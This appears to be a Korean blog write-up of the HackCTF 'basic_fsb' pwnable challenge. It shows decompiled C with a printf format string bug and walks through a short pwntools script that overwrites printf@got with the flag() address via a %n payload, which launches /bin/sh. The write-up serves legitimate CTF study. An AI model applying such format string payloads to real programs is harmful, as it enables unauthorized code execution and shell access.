1. 파일을 다운받고 디컴파일
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
vuln();
return 0;
}
int flag()
{
puts("EN)you have successfully modified the value :)");
puts(aKr);
return system("/bin/sh");
}
int vuln()
{
char s; // [esp+0h] [ebp-808h]
char format; // [esp+400h] [ebp-408h]
printf("input : ");
fgets(&s, 1024, stdin);
snprintf(&format, 0x400u, &s);
return printf(&format);
}
main() -> vuln() 로의 이동은 있지만, flag() 함수에 접근하는 것은 없다.
flag() 함수의 시스템함수가 실행되어야 함을 알 수 있다.
그러기 위해서는 flag() 함수를 실행 시켜야만한다.
이때 Format String Attack (FSB) 을 이용하여 flag() 함수를 실행시킬 수 있다.
2. Format String Attack (FSB - Format String Bug)
- basic_fsb 파일의 권한을 755으로 변경한 후 실행해보자 #chmod 755 ./basic_fsb
- 출력된 결과물을 확인하니, "aaaa"의 값인 0x61616161이 두번재 포맷스트링(%x)에서 나오는 것을 볼 수 있다. 즉, 두번째에 들어가는 포맷스트링은 처음 입력한 4바이트를 가리키는 걸 알 수 있다.
- 그러면 첫번째 인자를 이용해서 flag의 주소의 값만큼을 출력할 수 있다록하고 두번재 인자는 %n을 이용해 값을 넣을 수 있도록 조정하면 된다.
- FSB의 자세한 설명은 아래 링크 참고
shayete.tistory.com/entry/5-Format-String-Attack-FSB
5. Format String Attack (FSB)
Shayete 입니다. 5번째 강의는 포맷스트링 버그에 대해 알아보도록 하겠습니다. 포맷스트링버그는 개발자의 실수로 printf(buf) 이렇게 사용했을 때 입력값을 포맷스트링으로 넣으면 입력값을 문자
shayete.tistory.com
3. python 작성하기
*printf@got 주소는 해당 "call _printf" 클릭 -> "jum ds:off_804A00C" 클릭 -> ".got.plt:0804A00C" 나옴
printf@got 주소를 flag 함수의 주소로 overwrite 하기 위해서는 pirnt@got 주소 & flag 함수의 주소 가 필요하다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3002)
flag = 0x80485b4
print_got= 0x804a00c
payload = p32(print_got)
payload += "%134514096x%n"
p.recvuntil("input : ")
p.sendline(payload)
p.interactive()
- expoit code : print_got 주소 + (flag 주소값-4) + %n
payload += "%134514096x%n" -> 134514096 값은 flag = 0x80485b4 값을 dec로 변환한다음 -4byte를 해줬다.
이유: %n을 하게 되면
4 byte(print_got) + 134514096(%134514096x=134514100 으로 flag주소값을 출력하게 된다.
- 두번째 서식문자인 %n은 printf@got 주소값이 저장된 메모리를 가리키고 있기 때문에 해당 공간에 값을 overwrite 하게되고 flag() 함수가 실행된다.
'study > CTF' 카테고리의 다른 글
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2020.09.25 |
---|---|
[HackCTF] Basic_BOF #2 (0) | 2020.09.25 |
[HackCTF] Pwnable - RTL_World (0) | 2020.09.23 |
[HackCTF] Pwnable - Basic_BOF #1 (0) | 2020.09.23 |
[CTF] pwanable.kr_passcode (PLT와 GOT 개념 정리) (0) | 2020.06.12 |